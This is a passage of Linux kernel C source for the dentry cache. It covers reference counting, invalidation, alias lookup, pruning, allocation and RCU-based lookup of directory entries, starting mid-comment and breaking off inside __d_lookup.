@dentry: dentry to release * * Release a dentry. This will drop the usage count and if appropriate * call the dentry unlink method as well as removing it from the queues and * releasing its resources. If the parent dentries were scheduled for release * they too may now get deleted. */ void dput(struct dentry *dentry) { if (!dentry) return; repeat: if (dentry->d_count == 1) might_sleep(); spin_lock(&dentry->d_lock); BUG_ON(!dentry->d_count); if (dentry->d_count > 1) { dentry->d_count--; spin_unlock(&dentry->d_lock); return; } if (dentry->d_flags & DCACHE_OP_DELETE) { if (dentry->d_op->d_delete(dentry)) goto kill_it; } /* Unreachable? Get rid of it */ if (d_unhashed(dentry)) goto kill_it; /* * If this dentry needs lookup, don't set the referenced flag so that it * is more likely to be cleaned up by the dcache shrinker in case of * memory pressure. */ if (!d_need_lookup(dentry)) dentry->d_flags |= DCACHE_REFERENCED; dentry_lru_add(dentry); dentry->d_count--; spin_unlock(&dentry->d_lock); return; kill_it: dentry = dentry_kill(dentry, 1); if (dentry) goto repeat; } EXPORT_SYMBOL(dput); /** * d_invalidate - invalidate a dentry * @dentry: dentry to invalidate * * Try to invalidate the dentry if it turns out to be * possible. If there are other dentries that can be * reached through this one we can't delete it and we * return -EBUSY. On success we return 0. * * no dcache lock. */ int d_invalidate(struct dentry * dentry) { /* * If it's already been dropped, return OK. */ spin_lock(&dentry->d_lock); if (d_unhashed(dentry)) { spin_unlock(&dentry->d_lock); return 0; } /* * Check whether to do a partial shrink_dcache * to get rid of unused child entries. */ if (!list_empty(&dentry->d_subdirs)) { spin_unlock(&dentry->d_lock); shrink_dcache_parent(dentry); spin_lock(&dentry->d_lock); } /* * Somebody else still using it? * * If it's a directory, we can't drop it * for fear of somebody re-populating it * with children (even though dropping it * would make it unreachable from the root, * we might still populate it if it was a * working directory or similar). * We also need to leave mountpoints alone, * directory or not. */ if (dentry->d_count > 1 && dentry->d_inode) { if (S_ISDIR(dentry->d_inode->i_mode) || d_mountpoint(dentry)) { spin_unlock(&dentry->d_lock); return -EBUSY; } } __d_drop(dentry); spin_unlock(&dentry->d_lock); return 0; } EXPORT_SYMBOL(d_invalidate); /* This must be called with d_lock held */ static inline void __dget_dlock(struct dentry *dentry) { dentry->d_count++; } static inline void __dget(struct dentry *dentry) { spin_lock(&dentry->d_lock); __dget_dlock(dentry); spin_unlock(&dentry->d_lock); } struct dentry *dget_parent(struct dentry *dentry) { struct dentry *ret; repeat: /* * Don't need rcu_dereference because we re-check it was correct under * the lock. */ rcu_read_lock(); ret = dentry->d_parent; spin_lock(&ret->d_lock); if (unlikely(ret != dentry->d_parent)) { spin_unlock(&ret->d_lock); rcu_read_unlock(); goto repeat; } rcu_read_unlock(); BUG_ON(!ret->d_count); ret->d_count++; spin_unlock(&ret->d_lock); return ret; } EXPORT_SYMBOL(dget_parent); /** * d_find_alias - grab a hashed alias of inode * @inode: inode in question * @want_discon: flag, used by d_splice_alias, to request * that only a DISCONNECTED alias be returned. * * If inode has a hashed alias, or is a directory and has any alias, * acquire the reference to alias and return it. Otherwise return NULL. * Notice that if inode is a directory there can be only one alias and * it can be unhashed only if it has no children, or if it is the root * of a filesystem. * * If the inode has an IS_ROOT, DCACHE_DISCONNECTED alias, then prefer * any other hashed alias over that one unless @want_discon is set, * in which case only return an IS_ROOT, DCACHE_DISCONNECTED alias. */ static struct dentry *__d_find_alias(struct inode *inode, int want_discon) { struct dentry *alias, *discon_alias; again: discon_alias = NULL; list_for_each_entry(alias, &inode->i_dentry, d_alias) { spin_lock(&alias->d_lock); if (S_ISDIR(inode->i_mode) || !d_unhashed(alias)) { if (IS_ROOT(alias) && (alias->d_flags & DCACHE_DISCONNECTED)) { discon_alias = alias; } else if (!want_discon) { __dget_dlock(alias); spin_unlock(&alias->d_lock); return alias; } } spin_unlock(&alias->d_lock); } if (discon_alias) { alias = discon_alias; spin_lock(&alias->d_lock); if (S_ISDIR(inode->i_mode) || !d_unhashed(alias)) { if (IS_ROOT(alias) && (alias->d_flags & DCACHE_DISCONNECTED)) { __dget_dlock(alias); spin_unlock(&alias->d_lock); return alias; } } spin_unlock(&alias->d_lock); goto again; } return NULL; } struct dentry *d_find_alias(struct inode *inode) { struct dentry *de = NULL; if (!list_empty(&inode->i_dentry)) { spin_lock(&inode->i_lock); de = __d_find_alias(inode, 0); spin_unlock(&inode->i_lock); } return de; } EXPORT_SYMBOL(d_find_alias); /* * Try to kill dentries associated with this inode. * WARNING: you must own a reference to inode. */ void d_prune_aliases(struct inode *inode) { struct dentry *dentry; restart: spin_lock(&inode->i_lock); list_for_each_entry(dentry, &inode->i_dentry, d_alias) { spin_lock(&dentry->d_lock); if (!dentry->d_count) { __dget_dlock(dentry); __d_drop(dentry); spin_unlock(&dentry->d_lock); spin_unlock(&inode->i_lock); dput(dentry); goto restart; } spin_unlock(&dentry->d_lock); } spin_unlock(&inode->i_lock); } EXPORT_SYMBOL(d_prune_aliases); /* * Try to throw away a dentry - free the inode, dput the parent. * Requires dentry->d_lock is held, and dentry->d_count == 0. * Releases dentry->d_lock. * * This may fail if locks cannot be acquired no problem, just try again. */ static void try_prune_one_dentry(struct dentry *dentry) __releases(dentry->d_lock) { struct dentry *parent; parent = dentry_kill(dentry, 0); /* * If dentry_kill returns NULL, we have nothing more to do. * if it returns the same dentry, trylocks failed. In either * case, just loop again. * * Otherwise, we need to prune ancestors too. This is necessary * to prevent quadratic behavior of shrink_dcache_parent(), but * is also expected to be beneficial in reducing dentry cache * fragmentation. */ if (!parent) return; if (parent == dentry) return; /* Prune ancestors. */ dentry = parent; while (dentry) { spin_lock(&dentry->d_lock); if (dentry->d_count > 1) { dentry->d_count--; spin_unlock(&dentry->d_lock); return; } dentry = dentry_kill(dentry, 1); } } static void shrink_dentry_list(struct list_head *list) { struct dentry *dentry; rcu_read_lock(); for (;;) { dentry = list_entry_rcu(list->prev, struct dentry, d_lru); if (&dentry->d_lru == list) break; /* empty */ spin_lock(&dentry->d_lock); if (dentry != list_entry(list->prev, struct dentry, d_lru)) { spin_unlock(&dentry->d_lock); continue; } /* * We found an inuse dentry which was not removed from * the LRU because of laziness during lookup. Do not free * it - just keep it off the LRU list. */ if (dentry->d_count) { dentry_lru_del(dentry); spin_unlock(&dentry->d_lock); continue; } rcu_read_unlock(); try_prune_one_dentry(dentry); rcu_read_lock(); } rcu_read_unlock(); } /** * prune_dcache_sb - shrink the dcache * @sb: superblock * @count: number of entries to try to free * * Attempt to shrink the superblock dcache LRU by @count entries. This is * done when we need more memory an called from the superblock shrinker * function. * * This function may fail to free any resources if all the dentries are in * use. */ void prune_dcache_sb(struct super_block *sb, int count) { struct dentry *dentry; LIST_HEAD(referenced); LIST_HEAD(tmp); relock: spin_lock(&dcache_lru_lock); while (!list_empty(&sb->s_dentry_lru)) { dentry = list_entry(sb->s_dentry_lru.prev, struct dentry, d_lru); BUG_ON(dentry->d_sb != sb); if (!spin_trylock(&dentry->d_lock)) { spin_unlock(&dcache_lru_lock); cpu_relax(); goto relock; } if (dentry->d_flags & DCACHE_REFERENCED) { dentry->d_flags &= ~DCACHE_REFERENCED; list_move(&dentry->d_lru, &referenced); spin_unlock(&dentry->d_lock); } else { list_move_tail(&dentry->d_lru, &tmp); dentry->d_flags |= DCACHE_SHRINK_LIST; spin_unlock(&dentry->d_lock); if (!--count) break; } cond_resched_lock(&dcache_lru_lock); } if (!list_empty(&referenced)) list_splice(&referenced, &sb->s_dentry_lru); spin_unlock(&dcache_lru_lock); shrink_dentry_list(&tmp); } /** * shrink_dcache_sb - shrink dcache for a superblock * @sb: superblock * * Shrink the dcache for the specified super block. This is used to free * the dcache before unmounting a file system. */ void shrink_dcache_sb(struct super_block *sb) { LIST_HEAD(tmp); spin_lock(&dcache_lru_lock); while (!list_empty(&sb->s_dentry_lru)) { list_splice_init(&sb->s_dentry_lru, &tmp); spin_unlock(&dcache_lru_lock); shrink_dentry_list(&tmp); spin_lock(&dcache_lru_lock); } spin_unlock(&dcache_lru_lock); } EXPORT_SYMBOL(shrink_dcache_sb); /* * destroy a single subtree of dentries for unmount * - see the comments on shrink_dcache_for_umount() for a description of the * locking */ static void shrink_dcache_for_umount_subtree(struct dentry *dentry) { struct dentry *parent; BUG_ON(!IS_ROOT(dentry)); for (;;) { /* descend to the first leaf in the current subtree */ while (!list_empty(&dentry->d_subdirs)) dentry = list_entry(dentry->d_subdirs.next, struct dentry, d_u.d_child); /* consume the dentries from this leaf up through its parents * until we find one with children or run out altogether */ do { struct inode *inode; /* * remove the dentry from the lru, and inform * the fs that this dentry is about to be * unhashed and destroyed. */ dentry_lru_prune(dentry); __d_shrink(dentry); if (dentry->d_count != 0) { printk(KERN_ERR "BUG: Dentry %p{i=%lx,n=%s}" " still in use (%d)" " [unmount of %s %s]\n", dentry, dentry->d_inode ? dentry->d_inode->i_ino : 0UL, dentry->d_name.name, dentry->d_count, dentry->d_sb->s_type->name, dentry->d_sb->s_id); BUG(); } if (IS_ROOT(dentry)) { parent = NULL; list_del(&dentry->d_u.d_child); } else { parent = dentry->d_parent; parent->d_count--; list_del(&dentry->d_u.d_child); } inode = dentry->d_inode; if (inode) { dentry->d_inode = NULL; list_del_init(&dentry->d_alias); if (dentry->d_op && dentry->d_op->d_iput) dentry->d_op->d_iput(dentry, inode); else iput(inode); } d_free(dentry); /* finished when we fall off the top of the tree, * otherwise we ascend to the parent and move to the * next sibling if there is one */ if (!parent) return; dentry = parent; } while (list_empty(&dentry->d_subdirs)); dentry = list_entry(dentry->d_subdirs.next, struct dentry, d_u.d_child); } } /* * destroy the dentries attached to a superblock on unmounting * - we don't need to use dentry->d_lock because: * - the superblock is detached from all mountings and open files, so the * dentry trees will not be rearranged by the VFS * - s_umount is write-locked, so the memory pressure shrinker will ignore * any dentries belonging to this superblock that it comes across * - the filesystem itself is no longer permitted to rearrange the dentries * in this superblock */ void shrink_dcache_for_umount(struct super_block *sb) { struct dentry *dentry; if (down_read_trylock(&sb->s_umount)) BUG(); dentry = sb->s_root; sb->s_root = NULL; dentry->d_count--; shrink_dcache_for_umount_subtree(dentry); while (!hlist_bl_empty(&sb->s_anon)) { dentry = hlist_bl_entry(hlist_bl_first(&sb->s_anon), struct dentry, d_hash); shrink_dcache_for_umount_subtree(dentry); } } /* * This tries to ascend one level of parenthood, but * we can race with renaming, so we need to re-check * the parenthood after dropping the lock and check * that the sequence number still matches. */ static struct dentry *try_to_ascend(struct dentry *old, int locked, unsigned seq) { struct dentry *new = old->d_parent; rcu_read_lock(); spin_unlock(&old->d_lock); spin_lock(&new->d_lock); /* * might go back up the wrong parent if we have had a rename * or deletion */ if (new != old->d_parent || (old->d_flags & DCACHE_DISCONNECTED) || (!locked && read_seqretry(&rename_lock, seq))) { spin_unlock(&new->d_lock); new = NULL; } rcu_read_unlock(); return new; } /* * Search for at least 1 mount point in the dentry's subdirs. * We descend to the next level whenever the d_subdirs * list is non-empty and continue searching. */ /** * have_submounts - check for mounts over a dentry * @parent: dentry to check. * * Return true if the parent or its subdirectories contain * a mount point */ int have_submounts(struct dentry *parent) { struct dentry *this_parent; struct list_head *next; unsigned seq; int locked = 0; seq = read_seqbegin(&rename_lock); again: this_parent = parent; if (d_mountpoint(parent)) goto positive; spin_lock(&this_parent->d_lock); repeat: next = this_parent->d_subdirs.next; resume: while (next != &this_parent->d_subdirs) { struct list_head *tmp = next; struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); next = tmp->next; spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); /* Have we found a mount point ? */ if (d_mountpoint(dentry)) { spin_unlock(&dentry->d_lock); spin_unlock(&this_parent->d_lock); goto positive; } if (!list_empty(&dentry->d_subdirs)) { spin_unlock(&this_parent->d_lock); spin_release(&dentry->d_lock.dep_map, 1, _RET_IP_); this_parent = dentry; spin_acquire(&this_parent->d_lock.dep_map, 0, 1, _RET_IP_); goto repeat; } spin_unlock(&dentry->d_lock); } /* * All done at this level ... ascend and resume the search. */ if (this_parent != parent) { struct dentry *child = this_parent; this_parent = try_to_ascend(this_parent, locked, seq); if (!this_parent) goto rename_retry; next = child->d_u.d_child.next; goto resume; } spin_unlock(&this_parent->d_lock); if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; if (locked) write_sequnlock(&rename_lock); return 0; /* No mount points found in tree */ positive: if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; if (locked) write_sequnlock(&rename_lock); return 1; rename_retry: if (locked) goto again; locked = 1; write_seqlock(&rename_lock); goto again; } EXPORT_SYMBOL(have_submounts); /* * Search the dentry child list for the specified parent, * and move any unused dentries to the end of the unused * list for prune_dcache(). We descend to the next level * whenever the d_subdirs list is non-empty and continue * searching. * * It returns zero iff there are no unused children, * otherwise it returns the number of children moved to * the end of the unused list. This may not be the total * number of unused children, because select_parent can * drop the lock and return early due to latency * constraints. */ static int select_parent(struct dentry *parent, struct list_head *dispose) { struct dentry *this_parent; struct list_head *next; unsigned seq; int found = 0; int locked = 0; seq = read_seqbegin(&rename_lock); again: this_parent = parent; spin_lock(&this_parent->d_lock); repeat: next = this_parent->d_subdirs.next; resume: while (next != &this_parent->d_subdirs) { struct list_head *tmp = next; struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); next = tmp->next; spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); /* * move only zero ref count dentries to the dispose list. * * Those which are presently on the shrink list, being processed * by shrink_dentry_list(), shouldn't be moved. Otherwise the * loop in shrink_dcache_parent() might not make any progress * and loop forever. */ if (dentry->d_count) { dentry_lru_del(dentry); } else if (!(dentry->d_flags & DCACHE_SHRINK_LIST)) { dentry_lru_move_list(dentry, dispose); dentry->d_flags |= DCACHE_SHRINK_LIST; found++; } /* * We can return to the caller if we have found some (this * ensures forward progress). We'll be coming back to find * the rest. */ if (found && need_resched()) { spin_unlock(&dentry->d_lock); goto out; } /* * Descend a level if the d_subdirs list is non-empty. */ if (!list_empty(&dentry->d_subdirs)) { spin_unlock(&this_parent->d_lock); spin_release(&dentry->d_lock.dep_map, 1, _RET_IP_); this_parent = dentry; spin_acquire(&this_parent->d_lock.dep_map, 0, 1, _RET_IP_); goto repeat; } spin_unlock(&dentry->d_lock); } /* * All done at this level ... ascend and resume the search. */ if (this_parent != parent) { struct dentry *child = this_parent; this_parent = try_to_ascend(this_parent, locked, seq); if (!this_parent) goto rename_retry; next = child->d_u.d_child.next; goto resume; } out: spin_unlock(&this_parent->d_lock); if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; if (locked) write_sequnlock(&rename_lock); return found; rename_retry: if (found) return found; if (locked) goto again; locked = 1; write_seqlock(&rename_lock); goto again; } /** * shrink_dcache_parent - prune dcache * @parent: parent of entries to prune * * Prune the dcache to remove unused children of the parent dentry. */ void shrink_dcache_parent(struct dentry * parent) { LIST_HEAD(dispose); int found; while ((found = select_parent(parent, &dispose)) != 0) shrink_dentry_list(&dispose); } EXPORT_SYMBOL(shrink_dcache_parent); /** * __d_alloc - allocate a dcache entry * @sb: filesystem it will belong to * @name: qstr of the name * * Allocates a dentry. It returns %NULL if there is insufficient memory * available. On a success the dentry is returned. The name passed in is * copied and the copy passed in may be reused after this call. */ struct dentry *__d_alloc(struct super_block *sb, const struct qstr *name) { struct dentry *dentry; char *dname; dentry = kmem_cache_alloc(dentry_cache, GFP_KERNEL); if (!dentry) return NULL; if (name->len > DNAME_INLINE_LEN-1) { dname = kmalloc(name->len + 1, GFP_KERNEL); if (!dname) { kmem_cache_free(dentry_cache, dentry); return NULL; } } else { dname = dentry->d_iname; } dentry->d_name.name = dname; dentry->d_name.len = name->len; dentry->d_name.hash = name->hash; memcpy(dname, name->name, name->len); dname[name->len] = 0; dentry->d_count = 1; dentry->d_flags = 0; spin_lock_init(&dentry->d_lock); seqcount_init(&dentry->d_seq); dentry->d_inode = NULL; dentry->d_parent = dentry; dentry->d_sb = sb; dentry->d_op = NULL; dentry->d_fsdata = NULL; INIT_HLIST_BL_NODE(&dentry->d_hash); INIT_LIST_HEAD(&dentry->d_lru); INIT_LIST_HEAD(&dentry->d_subdirs); INIT_LIST_HEAD(&dentry->d_alias); INIT_LIST_HEAD(&dentry->d_u.d_child); d_set_d_op(dentry, dentry->d_sb->s_d_op); this_cpu_inc(nr_dentry); return dentry; } /** * d_alloc - allocate a dcache entry * @parent: parent of entry to allocate * @name: qstr of the name * * Allocates a dentry. It returns %NULL if there is insufficient memory * available. On a success the dentry is returned. The name passed in is * copied and the copy passed in may be reused after this call. */ struct dentry *d_alloc(struct dentry * parent, const struct qstr *name) { struct dentry *dentry = __d_alloc(parent->d_sb, name); if (!dentry) return NULL; spin_lock(&parent->d_lock); /* * don't need child lock because it is not subject * to concurrency here */ __dget_dlock(parent); dentry->d_parent = parent; list_add(&dentry->d_u.d_child, &parent->d_subdirs); spin_unlock(&parent->d_lock); return dentry; } EXPORT_SYMBOL(d_alloc); struct dentry *d_alloc_pseudo(struct super_block *sb, const struct qstr *name) { struct dentry *dentry = __d_alloc(sb, name); if (dentry) dentry->d_flags |= DCACHE_DISCONNECTED; return dentry; } EXPORT_SYMBOL(d_alloc_pseudo); struct dentry *d_alloc_name(struct dentry *parent, const char *name) { struct qstr q; q.name = name; q.len = strlen(name); q.hash = full_name_hash(q.name, q.len); return d_alloc(parent, &q); } EXPORT_SYMBOL(d_alloc_name); void d_set_d_op(struct dentry *dentry, const struct dentry_operations *op) { WARN_ON_ONCE(dentry->d_op); WARN_ON_ONCE(dentry->d_flags & (DCACHE_OP_HASH | DCACHE_OP_COMPARE | DCACHE_OP_REVALIDATE | DCACHE_OP_DELETE )); dentry->d_op = op; if (!op) return; if (op->d_hash) dentry->d_flags |= DCACHE_OP_HASH; if (op->d_compare) dentry->d_flags |= DCACHE_OP_COMPARE; if (op->d_revalidate) dentry->d_flags |= DCACHE_OP_REVALIDATE; if (op->d_delete) dentry->d_flags |= DCACHE_OP_DELETE; if (op->d_prune) dentry->d_flags |= DCACHE_OP_PRUNE; } EXPORT_SYMBOL(d_set_d_op); static void __d_instantiate(struct dentry *dentry, struct inode *inode) { spin_lock(&dentry->d_lock); if (inode) { if (unlikely(IS_AUTOMOUNT(inode))) dentry->d_flags |= DCACHE_NEED_AUTOMOUNT; list_add(&dentry->d_alias, &inode->i_dentry); } dentry->d_inode = inode; dentry_rcuwalk_barrier(dentry); spin_unlock(&dentry->d_lock); fsnotify_d_instantiate(dentry, inode); } /** * d_instantiate - fill in inode information for a dentry * @entry: dentry to complete * @inode: inode to attach to this dentry * * Fill in inode information in the entry. * * This turns negative dentries into productive full members * of society. * * NOTE! This assumes that the inode count has been incremented * (or otherwise set) by the caller to indicate that it is now * in use by the dcache. */ void d_instantiate(struct dentry *entry, struct inode * inode) { BUG_ON(!list_empty(&entry->d_alias)); if (inode) spin_lock(&inode->i_lock); __d_instantiate(entry, inode); if (inode) spin_unlock(&inode->i_lock); security_d_instantiate(entry, inode); } EXPORT_SYMBOL(d_instantiate); /** * d_instantiate_unique - instantiate a non-aliased dentry * @entry: dentry to instantiate * @inode: inode to attach to this dentry * * Fill in inode information in the entry. On success, it returns NULL. * If an unhashed alias of "entry" already exists, then we return the * aliased dentry instead and drop one reference to inode. * * Note that in order to avoid conflicts with rename() etc, the caller * had better be holding the parent directory semaphore. * * This also assumes that the inode count has been incremented * (or otherwise set) by the caller to indicate that it is now * in use by the dcache. */ static struct dentry *__d_instantiate_unique(struct dentry *entry, struct inode *inode) { struct dentry *alias; int len = entry->d_name.len; const char *name = entry->d_name.name; unsigned int hash = entry->d_name.hash; if (!inode) { __d_instantiate(entry, NULL); return NULL; } list_for_each_entry(alias, &inode->i_dentry, d_alias) { struct qstr *qstr = &alias->d_name; /* * Don't need alias->d_lock here, because aliases with * d_parent == entry->d_parent are not subject to name or * parent changes, because the parent inode i_mutex is held. */ if (qstr->hash != hash) continue; if (alias->d_parent != entry->d_parent) continue; if (dentry_cmp(qstr->name, qstr->len, name, len)) continue; __dget(alias); return alias; } __d_instantiate(entry, inode); return NULL; } struct dentry *d_instantiate_unique(struct dentry *entry, struct inode *inode) { struct dentry *result; BUG_ON(!list_empty(&entry->d_alias)); if (inode) spin_lock(&inode->i_lock); result = __d_instantiate_unique(entry, inode); if (inode) spin_unlock(&inode->i_lock); if (!result) { security_d_instantiate(entry, inode); return NULL; } BUG_ON(!d_unhashed(result)); iput(inode); return result; } EXPORT_SYMBOL(d_instantiate_unique); struct dentry *d_make_root(struct inode *root_inode) { struct dentry *res = NULL; if (root_inode) { static const struct qstr name = { .name = "/", .len = 1 }; res = __d_alloc(root_inode->i_sb, &name); if (res) d_instantiate(res, root_inode); else iput(root_inode); } return res; } EXPORT_SYMBOL(d_make_root); static struct dentry * __d_find_any_alias(struct inode *inode) { struct dentry *alias; if (list_empty(&inode->i_dentry)) return NULL; alias = list_first_entry(&inode->i_dentry, struct dentry, d_alias); __dget(alias); return alias; } /** * d_find_any_alias - find any alias for a given inode * @inode: inode to find an alias for * * If any aliases exist for the given inode, take and return a * reference for one of them. If no aliases exist, return %NULL. */ struct dentry *d_find_any_alias(struct inode *inode) { struct dentry *de; spin_lock(&inode->i_lock); de = __d_find_any_alias(inode); spin_unlock(&inode->i_lock); return de; } EXPORT_SYMBOL(d_find_any_alias); /** * d_obtain_alias - find or allocate a dentry for a given inode * @inode: inode to allocate the dentry for * * Obtain a dentry for an inode resulting from NFS filehandle conversion or * similar open by handle operations. The returned dentry may be anonymous, * or may have a full name (if the inode was already in the cache). * * When called on a directory inode, we must ensure that the inode only ever * has one dentry. If a dentry is found, that is returned instead of * allocating a new one. * * On successful return, the reference to the inode has been transferred * to the dentry. In case of an error the reference on the inode is released. * To make it easier to use in export operations a %NULL or IS_ERR inode may * be passed in and will be the error will be propagate to the return value, * with a %NULL @inode replaced by ERR_PTR(-ESTALE). */ struct dentry *d_obtain_alias(struct inode *inode) { static const struct qstr anonstring = { .name = "" }; struct dentry *tmp; struct dentry *res; if (!inode) return ERR_PTR(-ESTALE); if (IS_ERR(inode)) return ERR_CAST(inode); res = d_find_any_alias(inode); if (res) goto out_iput; tmp = __d_alloc(inode->i_sb, &anonstring); if (!tmp) { res = ERR_PTR(-ENOMEM); goto out_iput; } spin_lock(&inode->i_lock); res = __d_find_any_alias(inode); if (res) { spin_unlock(&inode->i_lock); dput(tmp); goto out_iput; } /* attach a disconnected dentry */ spin_lock(&tmp->d_lock); tmp->d_inode = inode; tmp->d_flags |= DCACHE_DISCONNECTED; list_add(&tmp->d_alias, &inode->i_dentry); hlist_bl_lock(&tmp->d_sb->s_anon); hlist_bl_add_head(&tmp->d_hash, &tmp->d_sb->s_anon); hlist_bl_unlock(&tmp->d_sb->s_anon); spin_unlock(&tmp->d_lock); spin_unlock(&inode->i_lock); security_d_instantiate(tmp, inode); return tmp; out_iput: if (res && !IS_ERR(res)) security_d_instantiate(res, inode); iput(inode); return res; } EXPORT_SYMBOL(d_obtain_alias); /** * d_splice_alias - splice a disconnected dentry into the tree if one exists * @inode: the inode which may have a disconnected dentry * @dentry: a negative dentry which we want to point to the inode. * * If inode is a directory and has a 'disconnected' dentry (i.e. IS_ROOT and * DCACHE_DISCONNECTED), then d_move that in place of the given dentry * and return it, else simply d_add the inode to the dentry and return NULL. * * This is needed in the lookup routine of any filesystem that is exportable * (via knfsd) so that we can build dcache paths to directories effectively. * * If a dentry was found and moved, then it is returned. Otherwise NULL * is returned. This matches the expected return value of ->lookup. * */ struct dentry *d_splice_alias(struct inode *inode, struct dentry *dentry) { struct dentry *new = NULL; if (IS_ERR(inode)) return ERR_CAST(inode); if (inode && S_ISDIR(inode->i_mode)) { spin_lock(&inode->i_lock); new = __d_find_alias(inode, 1); if (new) { BUG_ON(!(new->d_flags & DCACHE_DISCONNECTED)); spin_unlock(&inode->i_lock); security_d_instantiate(new, inode); d_move(new, dentry); iput(inode); } else { /* already taking inode->i_lock, so d_add() by hand */ __d_instantiate(dentry, inode); spin_unlock(&inode->i_lock); security_d_instantiate(dentry, inode); d_rehash(dentry); } } else d_add(dentry, inode); return new; } EXPORT_SYMBOL(d_splice_alias); /** * d_add_ci - lookup or allocate new dentry with case-exact name * @inode: the inode case-insensitive lookup has found * @dentry: the negative dentry that was passed to the parent's lookup func * @name: the case-exact name to be associated with the returned dentry * * This is to avoid filling the dcache with case-insensitive names to the * same inode, only the actual correct case is stored in the dcache for * case-insensitive filesystems. * * For a case-insensitive lookup match and if the the case-exact dentry * already exists in in the dcache, use it and return it. * * If no entry exists with the exact case name, allocate new dentry with * the exact case, and return the spliced entry. */ struct dentry *d_add_ci(struct dentry *dentry, struct inode *inode, struct qstr *name) { int error; struct dentry *found; struct dentry *new; /* * First check if a dentry matching the name already exists, * if not go ahead and create it now. */ found = d_hash_and_lookup(dentry->d_parent, name); if (!found) { new = d_alloc(dentry->d_parent, name); if (!new) { error = -ENOMEM; goto err_out; } found = d_splice_alias(inode, new); if (found) { dput(new); return found; } return new; } /* * If a matching dentry exists, and it's not negative use it. * * Decrement the reference count to balance the iget() done * earlier on. */ if (found->d_inode) { if (unlikely(found->d_inode != inode)) { /* This can't happen because bad inodes are unhashed. */ BUG_ON(!is_bad_inode(inode)); BUG_ON(!is_bad_inode(found->d_inode)); } iput(inode); return found; } /* * We are going to instantiate this dentry, unhash it and clear the * lookup flag so we can do that. */ if (unlikely(d_need_lookup(found))) d_clear_need_lookup(found); /* * Negative dentry: instantiate it unless the inode is a directory and * already has a dentry. */ new = d_splice_alias(inode, found); if (new) { dput(found); found = new; } return found; err_out: iput(inode); return ERR_PTR(error); } EXPORT_SYMBOL(d_add_ci); /** * __d_lookup_rcu - search for a dentry (racy, store-free) * @parent: parent dentry * @name: qstr of name we wish to find * @seqp: returns d_seq value at the point where the dentry was found * @inode: returns dentry->d_inode when the inode was found valid. * Returns: dentry, or NULL * * __d_lookup_rcu is the dcache lookup function for rcu-walk name * resolution (store-free path walking) design described in * Documentation/filesystems/path-lookup.txt. * * This is not to be used outside core vfs. * * __d_lookup_rcu must only be used in rcu-walk mode, ie. with vfsmount lock * held, and rcu_read_lock held. The returned dentry must not be stored into * without taking d_lock and checking d_seq sequence count against @seq * returned here. * * A refcount may be taken on the found dentry with the __d_rcu_to_refcount * function. * * Alternatively, __d_lookup_rcu may be called again to look up the child of * the returned dentry, so long as its parent's seqlock is checked after the * child is looked up. Thus, an interlocking stepping of sequence lock checks * is formed, giving integrity down the path walk. */ struct dentry *__d_lookup_rcu(const struct dentry *parent, const struct qstr *name, unsigned *seqp, struct inode **inode) { unsigned int len = name->len; unsigned int hash = name->hash; const unsigned char *str = name->name; struct hlist_bl_head *b = d_hash(parent, hash); struct hlist_bl_node *node; struct dentry *dentry; /* * Note: There is significant duplication with __d_lookup_rcu which is * required to prevent single threaded performance regressions * especially on architectures where smp_rmb (in seqcounts) are costly. * Keep the two functions in sync. */ /* * The hash list is protected using RCU. * * Carefully use d_seq when comparing a candidate dentry, to avoid * races with d_move(). * * It is possible that concurrent renames can mess up our list * walk here and result in missing our dentry, resulting in the * false-negative result. d_lookup() protects against concurrent * renames using rename_lock seqlock. * * See Documentation/filesystems/path-lookup.txt for more details. */ hlist_bl_for_each_entry_rcu(dentry, node, b, d_hash) { unsigned seq; struct inode *i; const char *tname; int tlen; if (dentry->d_name.hash != hash) continue; seqretry: seq = read_seqcount_begin(&dentry->d_seq); if (dentry->d_parent != parent) continue; if (d_unhashed(dentry)) continue; tlen = dentry->d_name.len; tname = dentry->d_name.name; i = dentry->d_inode; prefetch(tname); /* * This seqcount check is required to ensure name and * len are loaded atomically, so as not to walk off the * edge of memory when walking. If we could load this * atomically some other way, we could drop this check. */ if (read_seqcount_retry(&dentry->d_seq, seq)) goto seqretry; if (unlikely(parent->d_flags & DCACHE_OP_COMPARE)) { if (parent->d_op->d_compare(parent, *inode, dentry, i, tlen, tname, name)) continue; } else { if (dentry_cmp(tname, tlen, str, len)) continue; } /* * No extra seqcount check is required after the name * compare. The caller must perform a seqcount check in * order to do anything useful with the returned dentry * anyway. */ *seqp = seq; *inode = i; return dentry; } return NULL; } /** * d_lookup - search for a dentry * @parent: parent dentry * @name: qstr of name we wish to find * Returns: dentry, or NULL * * d_lookup searches the children of the parent dentry for the name in * question. If the dentry is found its reference count is incremented and the * dentry is returned. The caller must use dput to free the entry when it has * finished using it. %NULL is returned if the dentry does not exist. */ struct dentry *d_lookup(struct dentry *parent, struct qstr *name) { struct dentry *dentry; unsigned seq; do { seq = read_seqbegin(&rename_lock); dentry = __d_lookup(parent, name); if (dentry) break; } while (read_seqretry(&rename_lock, seq)); return dentry; } EXPORT_SYMBOL(d_lookup); /** * __d_lookup - search for a dentry (racy) * @parent: parent dentry * @name: qstr of name we wish to find * Returns: dentry, or NULL * * __d_lookup is like d_lookup, however it may (rarely) return a * false-negative result due to unrelated rename activity. * * __d_lookup is slightly faster by avoiding rename_lock read seqlock, * however it must be used carefully, eg. with a following d_lookup in * the case of failure. * * __d_lookup callers must be commented. */ struct dentry *__d_lookup(struct dentry *parent, struct qstr *name) { unsigned int len = name->len; unsigned int hash = name->hash; const unsigned char *str = name->name; struct hlist_bl_head *b = d_hash(parent, hash); struct hlist_bl_node *node; struct dentry *found = NULL; struct dentry *dentry; /* * Note: There is significant duplication with __d_lookup_rcu which is * required to prevent single threaded performance regressions * especially on architectures where smp_rmb (in seqcounts) are costly. * Keep the two functions in sync. */ /* * The hash list is protected using RCU. * * Take d_lock when comparing a candidate dentry, to avoid races * with d_move(). * * It is possible that concurrent renames can mess up our list * walk here and result in missing our dentry, resulting in the * false-negative result. d_lookup() protects against concurrent * renames using rename_lock seqlock. * * See Documentation/filesystems/path-lookup.txt for more details. */ rcu_read_lock(); hlist_bl_for_each_entry_rcu(dentry, node, b, d_hash) { const char *tname; int tlen; if (dentry->d_name.hash != hash) continue; 